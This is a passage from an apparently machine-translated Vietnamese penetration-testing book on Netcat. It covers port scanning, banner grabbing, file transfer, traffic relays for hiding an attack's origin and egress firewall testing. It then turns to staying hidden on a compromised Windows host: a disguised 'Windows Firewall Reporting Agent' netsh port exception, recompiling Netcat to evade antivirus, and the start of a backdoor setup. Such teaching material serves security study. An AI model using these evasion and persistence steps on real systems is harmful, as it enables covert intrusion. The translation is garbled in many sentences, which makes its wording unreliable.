Khi danh sách các cổng, bạn có một số tùy chọn Bạn có thể liệt kê một số cá nhân cổng, một loạt các cổng ngăn cách bằng dấu phẩy, hoặc một loạt các cảng (bao gồm) Bạn thậm chí có thể liệt kê một cổng theo tên dịch vụ của mình Sau đây là những ví dụ hợp lệ:

Trang 22

nc -v 192.168.1.4 21, 80, 443 nc -v 192.168.1.4 1-200 nc -v 192.168.1.4 http

Trong số cổng thông dụng, Netcat sẽ cho bạn những dịch vụ liên kết với một cổng cụ thể Trong Windows, các dịch vụ công nhận nằm trong

/WINDOWS/system32 /drivers/etc/services Trong Linux, /etc/services tập tin

phục vụ cùng một mục đích Những tập tin này cũng là tài liệu tham khảo cho việc sử dụng tên dịch vụ thay vì các số cổng

Trong hình 1.13, Netcat được chạy trong chế độ khách hàng với các tùy chọn sau: verbose, no DNS lookup, ngẫu nhiên thứ tự của cổng quét, mạng không hoạt động thời gian chờ 3 giây, và không có đầu vào / đầu ra chế độ Các máy chủ là 192.168.1.4, và các cổng để quét là 21-25 Netcat trở lại mở cổng 21, mà rất có thể sử dụng cho FTP Để biết thêm thông tin về cổng quét với Netcat, xem Chương 10,

Kiểm toán với Netcat

Figure 1.13 Port Scanning with Netcat

1.9 Chuyển tập tin(Transferring Files)

Một sử dụng chung cho Netcat là để chuyển các tập tin Netcat có khả năng cả hai kéo và đẩy các file Hãy xem xét ví dụ sau:

nc -l -p 12345 <textfile

Trong trường hợp này, Netcat được bắt đầu trong chế độ máy chủ trên cổng

12345 địa phương, và được cung cấptextfile Một khách hàng kết nối đến máy chủ này

là kéo tập tin từ máy chủ, và sẽ nhận đượctextfile:

Netcat cũng có thể được sử dụng để đẩy các tập tin Nếu bạn đang chạy Netcat

từ điểm đến (nơi bạn muốn tập tin kết thúc), bắt đầu Netcat ở chế độ máy chủ:

nc -l -p 12345> textfile

Trên máy tính nguồn, đẩy các tập tin bằng cách bắt đầu Netcat ở chế độ khách hàng:

nc 192.168.1.4 12345 <textfile

Trang 23

Như với tất cả các kết nối sử dụng Netcat, chuyển tập tin được mã hóa Nếu bạn

lo lắng về sự riêng tư của dữ liệu bạn đang chuyển qua Netcat, xem xét sử dụng Cryptcat, một phiên bản của Netcat mà kết hợp các đường hầm được mã hóa Cryptcat

sử dụng cú pháp dòng lệnh giống như Netcat, nhưng sử dụng mã hóa twofish Cũng nên xem xét sử dụng Netcat bên trong một Shell (SSH) đường hầm an toàn như một phương tiện của việc mã hóa chuyển của Netcat Phần này có nghĩa là phải giới thiệu rất cơ bản để chuyển các tập tin với Netcat Để biết thông tin chi tiết hơn, đặc biệt là

trong tài liệu tham khảo để mã hóa và giải mã chuyển file, xem Chương 6,Chuyển tập tin với Netcat

1.10 Banner Grabbing

Banner grabbing là một kỹ thuật điều tra, được thiết kế để xác định thương hiệu, phiên bản, hệ điều hành, hoặc các thông tin khác có liên quan về một dịch vụ hay ứng dụng cụ thể Điều này đặc biệt quan trọng nếu bạn đang tìm kiếm một lỗ hổng liên kết với một phiên bản đặc biệt của một số dịch vụ

Cú pháp của một lấy biểu ngữ không phải là không giống như các dòng lệnh Netcat chuẩn Chạy Netcat ở chế độ khách hàng, danh sách các tên máy chủ thích hợp,

và cuối cùng danh sách các số cổng của các dịch vụ thích hợp Trong một số trường hợp, bạn có thể không phải nhập thông tin (xem hình 1.14) Trong trường hợp khác, bạn sẽ phải nhập lệnh có giá trị dựa trên các giao thức cụ thể (xem hình 1.15)

Figure 1.14SSH Banner Grabbing with Netcat

Trong hình 1.14, mở Netcat để mục tiêu của chúng tôi đã cho chúng tôi hai mẩu thông tin: tên máy liên quan đến IP, và các thông tin phiên bản dành cho các dịch vụ SSH chạy trên máy tính đó

Trang 24

Figure 1.15HTTP Banner Grabbing With Netcat

Trong hình 1.15, chúng tôi bắt đầu Netcat ở chế độ khách hàng mục tiêu của chúng tôi là một máy chủ Web chạy trên IP mục tiêu Bằng cách phát lệnh GET (bất

kể thực tế là nó là một yêu cầu xấu), các thông tin trả về cho chúng ta phần mềm máy chủ Web và số phiên bản Nó cũng cho chúng ta biết rằng phiên bản đặc biệt này của Apache đang chạy trên một máy chạy Windows

Để biết thông tin chi tiết hơn, xem Chương 4, Banner Grabbing with Netcat.

Redirecting Ports and Traffic

Di chuyển đến một màu hơi sẫm màu của hoạt động, Netcat có thể được sử dụng để chuyển hướng cả hai cổng và giao thông Điều này đặc biệt hữu ích nếu bạn muốn che khuất nguồn gốc của cuộc tấn công Ý tưởng là để chạy Netcat thông qua một người trung gian để tấn công từ người trung gian và không phải là nguồn gốc Ví

dụ sau đây là rất đơn giản, nhưng nhiều chuyển hướng có thể được sử dụng Từ nguồn máy tính:

các pha tấn công từ cổng 54321 Đây là một trường hợp đơn giản củachuyển cổngport

Trang 25

thông dụng hơn, hoặc thay đổi các cổng của các ứng dụng mà cổng bình thường có thể

bị chặn bởi tường lửa

Có một giới hạn rõ ràng để tiếp sức này Các dữ liệu đường ống là một kết nối một chiều Do đó, nguồn máy tính không có cách nào nhận được bất kỳ phản hồi từ các máy tính mục tiêu Giải pháp ở đây sẽ là thiết lập một relay thứ hai từ máy tính mục tiêu trở lại máy tính nguồn (tốt hơn là thông qua một người trung gian!)

Để biết thông tin chi tiết hơn về chuyển hướng giao thông, xem Chương 5,

The Dark Side của Netcat, Và Chương 7,Kiểm soát giao thông với Netcat.

1.11 Sử dụng khác

Phần này bao gồm các hoạt động cơ bản của Netcat, nhưng chỉ giới hạn cho các hoạt động Netcat là trí tưởng tượng của bạn tiềm năng, các hoạt động nâng cao khác cho Netcat bao gồm:

1 Quét dễ bị xâm lược (xem Chương 2,Netcat và Mạng lưới kiểm tra thâm nhập, Và Chương 3,Netcat và ứng dụng thử nghiệm thâm nhập)

2 Xử lý sự cố mạng chung (xem Chương 8,Khắc phục sự cố với Netcat)

3 Mạng và kiểm toán thiết bị (xem Chương 9,Auditing với Netcat)

4 Sao lưu các tập tin, thư mục, và thậm chí cả ổ đĩa

Phần còn lại của cuốn sách này là dành riêng cho những điều này và nhiều công dụng khác của Netcat

1.12 Tóm lược

Netcat là một chương trình mạng được thiết kế để đọc và ghi dữ liệu trên cả hai kết nối UDP, sử dụng bộ giao thức IP TCP và Đơn giản hơn, Netcat là phiên bản

mạng của chương trình UNIXcat Trong cùng một cách mà cat đọc và ghi thông tin

cho file, netcat đọc và ghi thông tin qua kết nối mạng Mặc dù sự ra đời của các công

cụ tiên tiến hơn trong thập kỷ qua, Netcat vẫn còn phổ biến trong những người dùng cho tính năng đơn giản nhưng mạnh mẽ của nó

Đơn giản nhưng mạnh mẽ là một chủ đề mà gắn chương này lại với nhau Như chúng ta đã thấy, lắp đặt Netcat, cho dù bởi Windows hoặc Linux (thông qua gói hoặc nguồn), là đơn giản Chỉ có một số ít các công tắc thường được sử dụng, mà làm cho việc học các dòng lệnh thực tế dễ dàng Tuy nhiên, việc cài đặt rắc rối-miễn phí và các dòng lệnh dễ dàng dám nhận lời thách thực tế là Netcat thực sự là một chương trình mạnh và mạnh mẽ,đơn giản Netcat có thể gây ra một số người bỏ qua nó Người ta đã

Trang 26

nói rằng họ "đánh giá thấp" hữu dụng của Netcat Những người khác nói về "tái khám phá" Netcat sau vài năm Bất kể nguồn, câu trả lời luôn luôn có vẻ là đi với Netcat! Nhiều người dùng thậm chí còn đề nghị thay thế Telnet với Netcat.

Netcat là đủ hữu ích để có một chỗ trong bộ công cụ nhất của người dùng Cho

dù bạn là một quản trị mạng xử lý sự cố mạng của bạn, kiểm tra xâm nhập đánh giá an ninh của khách hàng, hay chỉ là một người dùng cố gắng tìm hiểu cái gì mới, Netcat có một cái gì đó cho bạn

Một vài năm trở lại, Mati Aharoni, một trong những nhà phát triển cốt lõi của các thử nghiệm thâm nhập CD Backtrack và người sáng lập của www.offensive-security.com, đã viết một bài báo an ninh ngắn mà chứng minh toàn bộ một hack từ đầu đến cuối Nó bắt đầu với một cổng quét, và sau đó tiếp tục với lấy banner, ứng dụng dễ bị tổn thương quét, thiết lập một cửa sau, và cuối cùng là chuyển một tập tin vào hệ thống nước Các tập tin được một tin nhắn văn bản ngắn mà chỉ nói: "Bạn đã bị hack!" Nếu bạn đã đi xa này, bạn biết rằng hack này được hoàn thành từ đầu đến cuối với chỉ một công cụ, Netcat

1.12 Giải pháp Fast Track

1.12.1 Sự giới thiệu

Netcat là một chương trình đơn giản cho phép đọc và ghi dữ liệu trên mạng,

giống như cách mà cat và ghi dữ liệu vào tập tin.

Netcat có sẵn trên hầu hết các hệ thống: UNIX / Linux, Windows, BSD, Mac,

và những người khác Linux và Windows là việc triển khai phổ biến nhất

Mặc dù các công cụ mới hơn và mạnh mẽ hơn, Netcat vẫn là một lựa chọn phổ biến trong người dùng

1.12.2 Cài đặt

Cài đặt Windows là một cách Đơn giản chỉ cần tải về và giải nén!

Cài đặt Linux không phải là quá khó khăn Cài đặt một gói phần mềm biên dịch trước hoặc tải về các nguồn và biên dịch nó cho mình

Các Netcat giúp màn hình không chỉ hữu ích để hiển thị các tùy chọn khác nhau, mà còn để xác nhận cài đặt, xác định phiên bản của một gói cài đặt trước đó, hoặc xác nhận nó đã được biên soạn với các tùy chọn GAPING_SECURITY_ LỖ

Tùy chọn(Options)

Trang 27

Các–e opion, cho phép Netcat để thực hiện các chương trình, là những gì làm

cho Netcat mạnh mẽ như vậy

Tiêu chuẩn UNIX cụ redirector phép Netcat để đẩy và kéo dữ liệu từ nhiều nguồn khác nhau và các điểm đến, và các dữ liệu đường ống đến và đi từ các quá trình khác

Netcat có thể được sử dụng cho các cổng và chuyển hướng giao thông, trong đó

có thể che dấu nguồn gốc của cuộc tấn công

Trang 28

CHƯƠNG 2 NETCAT PENETRATIONCÁC TÍNH NĂNG THỬ NGHIỆM2.1 Sự giới thiệu

Netcat là một Transmission Control Protocol (TCP / giao thức Internet (IP) tiện ích mạnh mẽ, có thể xử lý vô số các chức năng hệ thống- và liên quan đến mạng Chương này sẽ tập trung vào một số cách phổ biến để sử dụng Netcat trong quá trình thử nghiệm xâm nhập mạng Mặc dù Netcat không phải là một công cụ khai thác trong chính nó, nó có thể giúp giữ một chỗ đứng vững một khi bạn đã khai thác một hệ thống Trong chương này chúng ta sẽ thảo luận về Netcat cổng quét và nhận dạng dịch

vụ khả năng cũng chứng minh làm thế nào để có được thông tin ứng dụng máy chủ Web Chúng tôi cũng sẽ đi qua như thế nào để kiểm tra và xác minh quy tắc tường lửa

ra bên ngoài và nói chuyện về làm thế nào chúng ta có thể tránh bị phát hiện bằng cách

sử dụng phần mềm chống virus và Window Firewall Cuối cùng, tôi sẽ thảo luận và so sánh các phương pháp khác nhau để tạo ra một backdoor sử dụng Netcat

2.2 Port Scanning and Service Identification

Cảng quét và nhận dạng dịch vụ đóng một vai trò lớn trong quá trình thử nghiệm thâm nhập Nếu bạn không thể xác định một phiên bản dịch vụ và hoặc máy chủ đang chạy trên một hệ thống, rất khó để xác định bất kỳ thông tin lỗ hổng tiềm năng liên kết với nó Trong phần này, tôi sẽ thảo luận làm thế nào để sử dụng Netcat là một máy quét cổng, xác định thông tin phiên bản máy chủ Web, và xác định các dịch

vụ đáng ngờ hoặc chưa biết chạy trên một máy

2.3 Sử dụng Netcat như một Port Scanner

Đối với hầu hết các phần, Netcat không phải là mạnh nhất công cụ quét cổng có ngày hôm nay, nhưng nó có thể xử lý các nhiệm vụ Netcat theo mặc định sử dụng giao thức TCP cho tất cả các tùy chọn bao gồm quét cổng Bảng 2.1 thể hiện Netcat cổng quét tùy chọn

Một ví dụ cổng quét được thể hiện trong hình 2.1 Trong ví dụ này, Netcat sẽ cố gắng để kết nối với 65.535 cổng TCP và báo cáo kết quả cho các cửa sổ terminal

Các lệnh sau đây được sử dụng để làm một cổng TCP quét:

nc -v -z target port-range

Trang 29

Hình 2.1 Một TCP Port Scan

Như thể hiện trong hình 2.1, Netcat đã phát hiện ra nhiều cổng mở TCP trên hệ thống mục tiêu của chúng tôi Ngoài ra, để chạy một cổng UDP quét trên một hệ thống mục tiêu, bạn cần phải đặt Netcat ở chế độ UDP như thể hiện với các lệnh sau đây

nc -v –u -z target port-range

Hơn nữa, nếu bạn thấy mình bị chặn bởi một công nghệ chặn tự động, cố gắng điều chỉnh khoảng thời gian chậm trễ Netcat bằng cách sử dụng

-i option Một số thuốc chẹn kích hoạt trên một chữ ký cụ thể, ngưỡng hẹn giờ,

và hoặc cổng tuần tự quét

Một cách để xác định threashold là để điều chỉnh khoảng thời gian cho mỗi

cổng quét Ngoài ra, để ngẫu nhiên thứ tự của dãy cổng mục tiêu, sử dụng-r option.

2.4 Banner Grabbing

Một tính năng hữu ích của Netcat là khả năng kết nối với một dịch vụ trong một

nỗ lực để xác định thông tin phiên bản bằng cách kích hoạt một phản ứng từ các biểu ngữ dịch vụ Banner grabbing có thể được áp dụng cho nhiều dịch vụ khác nhau Đối với phần này, tôi sẽ cho bạn thấy làm thế nào bạn có thể xác định phiên bản của một máy chủ Web bằng cách phát hành một số lệnh sử dụng Netcat

Trong ví dụ sau đây, chúng tôi muốn xác định phiên bản của một máy chủ Web bằng cách phát hành một yêu cầu HEAD Hypertext Transfer Protocol (HTTP) Các phương thức HEAD cho phép một khách hàng yêu cầu thông tin HTTP header Các

Trang 30

chủ, bao gồm loại và phiên bản của máy chủ Web đang chạy Để thực hiện yêu cầu HEAD, chúng tôi sẽ cần phải thực hiện một kết nối đến máy chủ mục tiêu Web bằng

cách sử dụng lệnh Netcat:nc -v www.microsoft.com 80

Điều này chỉ đơn giản là làm cho một kết nối TCP đến máy chủ Web Khi kết nối

được thiết lập, bạn cần phải thực hiện lệnh sau vào cửa sổ Netcat: HEAD / HTTP / 1.0

Sau khi bạn nhấnENTER hai lần, chúng tôi nhận được phản ứng sau đây(http header information) từ máy chủ Web.

Như bạn có thể thấy từ kết quả thể hiện trong hình 2.2, www.microsoft.com đáng ngạc nhiên là chạy một Microsoft-IIS / 7.0 máy chủ Web bằng cách sử dụng khung ứng dụng web ASP.NET

Hình 2.2 Một yêu cầu HTTP HEAD / ứng dụng Netcat

2.5 Scripting Netcatđể xác định Nhiều biểu ngữ Web Server

Nó là rất phổ biến để sử dụng một số lượng lớn các ứng dụng web trong một thử nghiệm thâm nhập Đang cố gắng để xác định loại ứng dụng và Web phiên bản máy chủ có thể là một nhiệm vụ khó khăn nếu bạn không có một cách tự động để thu thập thông tin Sử dụng các lệnh của chúng tôi trong phần banner, chúng ta có thể thêm chúng vào một kịch bản mà có thể tự động hóa quá trình các banner

Sau đây là một kịch bản mẫu Linux shell để nhận được các banner Web server:

for i in `cat hostlist.txt `;do nc -q 2 -v $i 80 < request.txt done vòng lặp cơ bản này sẽ đọchostlist.txt tập tin, trong đó có các địa chỉ IP hoặc tên miền của máy chủ

Trang 31

Web được thành lập Trong ví dụ này, các -q 2 option là quan trọng cần lưu ý Nếu

máy chủ Web không phải là thực sự là một máy chủ Web mà một người biết lắng nghe

Netcat, và bạn không có -q option, kết nối của bạn có thể không chấm dứt Các -q 2 sẽ đảm bảo kết nối sẽ timeout sau hai giây được yêu cầu Cácrequest.txt tập tin có chứa các yêu cầu HEAD,HEAD / HTTP / 1.0 / n / n.

Banner grabbing không chỉ áp dụng khi cố gắng xác định loại hoặc phiên bản của một máy chủ Web Netcat cũng có thể được sử dụng để có được thông tin banner cho các dịch vụ như: File Transfer Protocol (FTP), Telnet, Secure Shell (SSH), Post Office Protocol (POP),Internet Message Access Protocol (IMAP), và Simple Mail Transfer Protocol(SMTP) (Xem chương 4 để biết thêm vào banner grabbing.)

kỳ thông tin rằng dịch vụ sẽ cung cấp cho chúng Hình 2.3 cho thấy một kết nối Netcat rất tiết đến cổng 65.522 trên hệ thống mục tiêu của chúng tôi

Figure 2.3 Identifying an Unknown Service using Netcat

Như bạn có thể thấy trong các ví dụ trước, các dịch vụ không rõ đã được xác định là một máy chủ SSH chạy trên cổng 65.522

2.7 Thử nghiệm Egress Firewall

Trong phần này chúng ta sẽ thảo luận làm thế nào để kiểm tra quy tắc tường lửa

ra bên ngoài để xác minh rằng các quy tắc lọc cổng ngoài được đưa ra và làm việc

Trang 32

đúng cách Trong khi điều quan trọng là để xác minh rằng các điều khiển trên tường lửa được lọc đúng gói tin gửi đến, thường tổ chức chỉ tập trung vào việc lọc gói trong nước và không kiểm tra an ninh gói tin đi nếu không được gọi là lọc đi ra.

Đối với kiểm tra tường lửa đi ra, chúng ta sẽ cần hai hệ thống, một hệ thống sẽ được đặt vào bên trong các bức tường lửa (hệ A), và các hệ thống khác sẽ được đặt trên chu vi của tường lửa (hệ B) Mục tiêu của thử nghiệm này là để xác định những cổng được phép kết nối với hệ thống của chúng tôi nằm ở bên ngoài các bức tường lửa Một khi cả hai hệ thống được cấu hình, chúng tôi sẽ quét hệ thống B từ hệ thống

A để xác định các cổng TCP và UDP được phép đi ra

2.8 Hệ thống B - Các hệ thống bên ngoài của Firewall

Chức năng của hệ thống B là để lắng nghe trên tất cả và bất kỳ cổng cho các kết nối gửi đến và nếu nhận được, gửi một gói tin trả lời lại cho hệ thống nội bộ của chúng tôi Để xác định các cổng TCP và UDP, chúng tôi có thể kết nối, chúng ta muốn cấu hình

hệ thống bên ngoài của chúng tôi để lắng nghe trên tất cả 65.535 cổng TCP và UDP

Nó không phải là thực tế để mở cổng 131.070 sử dụng nghe Netcat riêng biệt Thay vào đó, chúng ta có thể cấu hình Netcat để nghe trên hai cổng, một cho các kết nối TCP và một cho kết nối UDP Sau đó chúng tôi có thể sử dụng thiết bị lọc gói của chúng ta về cơ bản cổng chuyển tiếp tất cả các kết nối TCP TCP Netcat listener của chúng tôi, và tất cả lưu lượng UDP để nghe UDP Netcat của chúng tôi

Đối với ví dụ này, hệ thống B đang chạy Gentoo Linux cấu hình để sử dụng Iptables, đó sẽ thực hiện chức năng cổng chuyển tiếp của chúng tôi TCP Netcat nghe được cấu hình để chấp nhận các kết nối trên giao thức TCP / 1234, và người nghe

Figure 2.4 Depicts the Egress Firewall Test

Trang 33

Sau khi hệ thống B được cấu hình để sử dụng Iptables, chúng ta cần thêm một

số quy tắc để chuyển hướng lưu lượng đến cho người nghe Netcat thích hợp Để thực

hiện chức năng này, chúng ta sẽ sử dụng Iptables sau lệnh: iptables -t nat -A PREROUTING -i eth0 -p tcp dport 1:65535 -j REDIRECT to-port 1234

iptables -t nat -A PREROUTING -i eth0 -p udp dport 1:65535 -j

REDIRECT to-port 1234

Để xác minh các quy tắc được nạp vào Iptables, gõ lệnh sau:

iptables -L -n -t nat

Figure 2.5 Lists the Iptables Rules

Khi Iptables được cấu hình đúng cách, chúng ta có thể bắt đầu hai người nghe Netcat của chúng tôi sử dụng các lệnh sau đây trong thiết bị đầu cuối riêng biệt

nc -l -p 1234 nc -l –

u -p 1234

Tại thời điểm này, hệ thống B được thiết lập và sẵn sàng để chấp nhận các kết nối trên tất cả 65.535 cổng TCP, và tất cả 65.535 cổng UDP có thể thiết lập các hệ thống trên mạng nội bộ (Hệ thống A)

2.9 Hệ thống A - Các hệ thống bên trong của Firewall

Chức năng của hệ thống Một là để thực hiện một cổng quét của hệ thống B Trước khi chúng tôi bắt đầu quét cổng, chúng ta cần phải đảm bảo rằng hệ thống A được cách thích hợp nằm ở bên trong các bức tường lửa Sau đó, bạn có thể sử dụng bất kỳ hệ thống có khả năng làm một cổng quét có chức năng như hệ thống A Để chứng minh các cổng quét của hệ thống B, chúng tôi sẽ sử dụng Netcat trên hệ thống

A để thực hiện một cổng TCP đầy đủ quét

Trang 34

Các kết quả của cổng quét Netcat của chúng tôi được thể hiện trong hình 2.6 Việc quét phát hiện có ba cổng cho phép kết nối từ hệ thống từ A đến B Hệ thống này

có nghĩa là, các kết quả kiểm tra tường lửa đi ra của chúng tôi xác nhận rằng lọc đi trên các bức tường lửa được cấu hình để chặn tất cả các kết nối TCP ra bên ngoài, ngoại trừ những người trên cổng TCP 443, 80, và 53

Figure 2.6 Results of the TCP Port Scan

2.10 Tránh phát hiện trên một hệ thống Windows

Trong phần này, chúng tôi sẽ thảo luận về cách để tránh bị phát hiện bởi Windows XP Firewall, và tránh bị phát hiện anti-virus Ngoài ra, chúng tôi sẽ thảo luận về một số phương pháp để che khuất quá trình Netcat của chúng tôi

2.11 Trốn tránh Windows XP /Windows 2003 Server Firewall

Phần này là nhằm mục đích trốn tránh các bức tường lửa công nghệ chặn của Windows trong nước dịch vụ Windows Firewall / Internet Connection Sharing (ICS), được tích hợp trong Windows XP SP2, cung cấp một tường lửa cơ bản mà thực hiện lọc gói tin gửi đến

Các bức tường lửa cũng phát hiện và, theo mặc định, các khối chương trình mà

cố gắng để mở TCP / IP socket và lắng nghe các kết nối đến Nếu không biết về tính năng Windows Firewall này, nó có thể trở thành một vấn đề cho một thử nghiệm thâm nhập, nếu chúng ta tạo ra một backdoor nghe kết nối đến Như thể hiện trong hình 2.7, Windowstường lửa chặn chương trình của tôi và gây ra một cảnh báo an toàn Windows khi tôi đã cố gắng để tạo ra một người biết lắng nghe TCP sử dụng Netcat

Hình 2.7Báo Bảo mật Windows kích hoạt bởi Windows Firewall

Trang 35

Để hiểu rõ hơn về những gì chúng tôi đang cố gắng để thực hiện trong phần này, cho phép sử dụng các kịch bản sau đây.

Ví dụ

Bạn đã thỏa hiệp một hệ thống Windows với quyền hệ thống, và bạn muốn cài đặt một backdoor để bạn có thể truy cập hệ thống tại một thời gian sau đó Một vấn đề bạn nhận thấy là các cửa sổ tường lửa đang chạy và có khả năng sẽ cảnh báo người dùng hoặc quản trị các hoạt động của bạn Kể từ khi khai thác cho phép truy cập hệ thống đã không được phát hiện ở nơi đầu tiên, chúng tôi muốn giữ mức chúng tôi tiếp cận, tránh bị phát hiện từ các bức tường lửa, và có thể trở lại vào hệ thống khi chúng ta muốn

Để thực hiện điều này, chúng tôi có thể sửa đổi các quy tắc trên tường lửa cửa

sổ để cho phép chương trình của chúng tôi được tin cậy

2.12 Làm Firewallngoại lệ sử dụng lệnh Netsh

Netshlà Windows tiện ích dòng lệnh sử dụng để cấu hình tường lửa của Windows Sử dụng ví dụ trên, chúng tôi muốn tạo ra một backdoor với Netcat sẽ cho phép chúng tôi để có được một shell lệnh tại một thời gian sau đó Sử dụng một vài lệnh netsh, chúng tôi có thể đảm bảo rằng chương trình của chúng tôi sẽ được phép chấp nhận kết nối bằng cách làm cho một ngoại lệ trong các bức tường lửa cửa sổ Một ngoại lệ tường lửa cho phép một chương trình hoặc giao thức giao tiếp qua mạng Mục tiêu của phần này là thêm một cổng mà netcat sẽ được chạy trên vào danh sách ngoại

lệ của Windows Firewall Đầu tiên chúng ta cần phải xác định trạng thái của tường lửa cửa sổ và nếu nó được cấu hình để cho phép các trường hợp ngoại lệ

2.13 Xác định trạng thái của Firewall

Để xác định trạng thái của các cửa sổ tường lửa, chúng tôi sẽ sử dụng một

Trang 36

lệnh netsh Các lệnh sau đây sẽ cho chúng tôi nếu Windows Firewall đang hoạt động và nếu nó được cấu hình để cho phép ngoại lệ cổng inbound.

Netsh firewall show opmode

Nếu chúng ta nhìn vào hình 2.8, chúng ta có thể thấy kết quả của các lệnh

netsh Chúng tôi muốn đặc biệt là nhìn vào các thiết lập dưới profile mà nói (hiện tại), vì đây sẽ là hoạt động hồ sơ Windows Firewall

Figure 2.8 Netsh Firewall Show Opmode Command

Nhìn vào cấu hình profile Domain (hiện hành) cài đặt, chúng tôi đang quan tâm đến các cài đặt chế độ hoạt động và chế độ ngoại lệ

Trong ví dụ của chúng tôi thiết lập được cấu hình như:

Operation mode = Enable

Exception mode = Enable

Thiết lập chế độ hoạt động được thiết lập để Kích hoạt tính, có nghĩa là các bức tường lửa được bật và chặn các kết nối đến Thiết lập chế độ ngoại lệ được thiết lập để Kích hoạt tính năng, mà cho chúng ta biết rằng các bức tường lửa cửa sổ được cấu hình để cho phép ngoại lệ đối với các bức tường lửa cửa sổ Tùy chọn này rất quan trọng vì nó cho phép chúng tôi để thêm một ngoại lệ cho cổng lắng nghe Netcat của chúng tôi

Nếu lệnh netsh báo cáo chế độ ngoại lệ vô hiệu hóa, các bức tường lửa không cho phép bất kỳ trường hợp ngoại lệ nào Trong trường hợp này, chúng ta có thể cấu hình tường lửa để cho phép ngoại lệ với các lệnh sau đây

Trang 37

Sau khi chúng tôi xác minh rằng các thiết lập trên tường lửa được cấu hình để cho phép các trường hợp ngoại lệ, chúng ta có thể làm cho một ngoại lệ cho người nghe Netcat của chúng tôi Trong ví dụ sau, chúng ta sẽ thêm một ngoại lệ cho tường lửa của Windows để cho phép người nghe Netcat của chúng tôi để chấp nhận các kết nối gửi đến và không kích hoạt một cảnh báo của Windows Netcat listener của chúng tôi sẽ được lắng nghe trên TCP / 1234 Sử dụng lệnh sau đây chúng tôi sẽ bổ sung

thêm cổng TCP 1234 vào danh sách ngoại lệ và định nghĩa tên của các ngoại lệ netsh firewall add portopening TCP 1234 “Windows Firewall Reporting

Agent” enable all

Khi lệnh thành công, nó bổ sung thêm định nghĩa cổng của bạn vào danh sách ngoại lệ tường lửa bằng cách sử dụng giao thức, số cổng, và tên bạn được xác định trong các lệnh trước đó Bạn có thể xác minh rằng các quy tắc đã được thêm vào các

bức tường lửa bằng cách sử dụng lệnh,netsh firewall show port opening, Như thể hiện

trong hình 2.9

Figure 2.9 Shows the Windows Firewall Exception we Created

Tại thời điểm này, chúng ta có thể bắt đầu nghe Netcat của chúng tôi trên cổng TCP 1234 và tránh bị chặn bởi tường lửa Windows và tránh một thông điệp cảnh báo của Windows

2.14 Trốn tránh phát hiện Antivirus

Như đã nêu trên, trang web http://www.vulnwatch.org/netcat/:

"12/15/05 - Symantec hiện đang phát Netcat là HackTool.NetCat Hành động

mặc định của Norton AntiVirus là để xóa các chương trình vì vậy hãy cẩn thận rằng nó

Trang 38

không bị xóa bỏ Netcat không còn là một công cụ tấn công hơn so với bất kỳ chuyển tập tin hoặc chương trình truy cập từ xa Nó không khai thác bất kỳ tổn thương "

Theo văn bản này, Symantec đã loại bỏ Netcat từ các định nghĩa virus của nó

và không còn được báo cáo Netcat là một công cụ hack Để tránh các nhà cung cấp chống virus tương lai từ việc chọn Netcat lên như là một công cụ độc hại, tôi vẫn khuyên bạn nên lập một phiên bản sửa đổi của Netcat

Có hai phương pháp để tránh bị phát hiện bởi các antivirus Bạn có thể thay đổi

mã nguồn và biên dịch lại chương trình, hoặc bạn có thể sử dụng một trình gỡ lỗi, xác định vị trí các chữ ký chống virus, và thay đổi nhị phân Phương pháp này chủ yếu được sử dụng khi mã nguồn không có sẵn Bởi vì mã nguồn Netcat có sẵn, chúng tôi

sẽ thay đổi mã nguồn Netcat và biên dịch lại chương trình

2.15 Biên dịch lại Netcat

Trong phần này, tôi thảo luận về biên dịch lại các phiên bản Windows của Netcat, được đưa vào Windows Chris Wysopal Bạn có thể có được phiên bản này của

Netcat, trong đó bao gồm các nguồn tại http://www.vulnwatch.org/netcat/.

Một khi chúng ta có mã nguồn Netcat, chúng tôi cần một trình biên dịch Windows để xây dựng chương trình Chúng tôi sẽ sử dụng Microsoft Visual Studio,

trong đó bao gồm một trình biên dịch dòng lệnh,cl.exe Trình biên dịch này sẽ làm việc

với các makefile được bao gồm trong các tập tin nguồn Netcat Sử dụng phương pháp biên dịch lại, chúng tôi sẽ thực hiện một số thay đổi đối với các tập tin nguồn Netcat

Figure 2.10 Shows the Netcat.c Source File

Thêm một số ý kiến để các file nguồn sẽ được đầy đủ của một sự thay đổi, vì vậy khi chương trình được biên dịch lại chữ ký của chương trình là khác nhau các phiên bản gốc

Trang 39

Makefile có sẵn với mã nguồn Netcat có tất cả các tùy chọn biên dịch cần thiết bạn cần phải biên dịch lại chương trình, nó cũng có một biến trình biên dịch (cc), Mà cần phải được định nghĩa là trình biên dịch bạn đang sử dụng Biến trình biên dịch đã

được thiết lập tớicl

Do đó, nếu bạn đang sử dụng Visual Studio bạn không cần phải thay đổi bất cứ điều gì Tại các loại cửa sổ lệnhchế tạo và một chương trình Netcat mới với một chữ

ký khác nhau sẽ được tạo ra

Figure 2.11 Compiling Netcat

Mà không sửa đổi các makefile, lệnh make sẽ biên dịch một chương trình mới

có tên gọinc.exe.

2.16 Tạo một Netcat Backdoor trên Windows XP hoặc Windows 2003 Server

Netcat là một công cụ đa năng có thể thực hiện vô số các chức năng giao thức TCP / IP Một tính năng rất hữu ích, đặc biệt đối với một kiểm tra xâm nhập, là khả năng ra một tiện ích từ một hệ thống khác Trong phần này, chúng ta sẽ sử dụng tính năng này để truy cập vào một backdoor từ xa trên một hệ thống Windows XP Một backdoor là một kênh truyền thông rằng sẽ cung cấp cho chúng tôi với một vỏ lệnh từ

xa của một hệ thống khai thác trước đây (nạn nhân), cho phép chúng ta truy cập vào hệ thống tại một thời gian sau đó Trong phần này, tôi sẽ chứng minh cách khác nhau để

sử dụng và tạo ra một backdoor trên một máy chủ nạn nhân của Windows XP

Để minh chứng, trong phần này, tôi sẽ tiếp tục sử dụng netcat và nc.exe.

Trang 40

2.17 Phương thức kết nối Backdoor

Chúng tôi có hai phương pháp mà chúng ta có thể sử dụng để cung cấp một kênh thông tin liên lạc để backdoor Netcat của chúng tôi Hoặc chúng tôi có thể thiết lập một kết nối trực tiếp đến các backdoor từ hệ thống tấn công của chúng tôi, hoặc chúng ta có thể có backdoor đầu một kết nối đến một người biết lắng nghe trên hệ thống tấn công của chúng tôi

2.18 Khởi đầu một kết nối trực tiếp đến các Backdoor

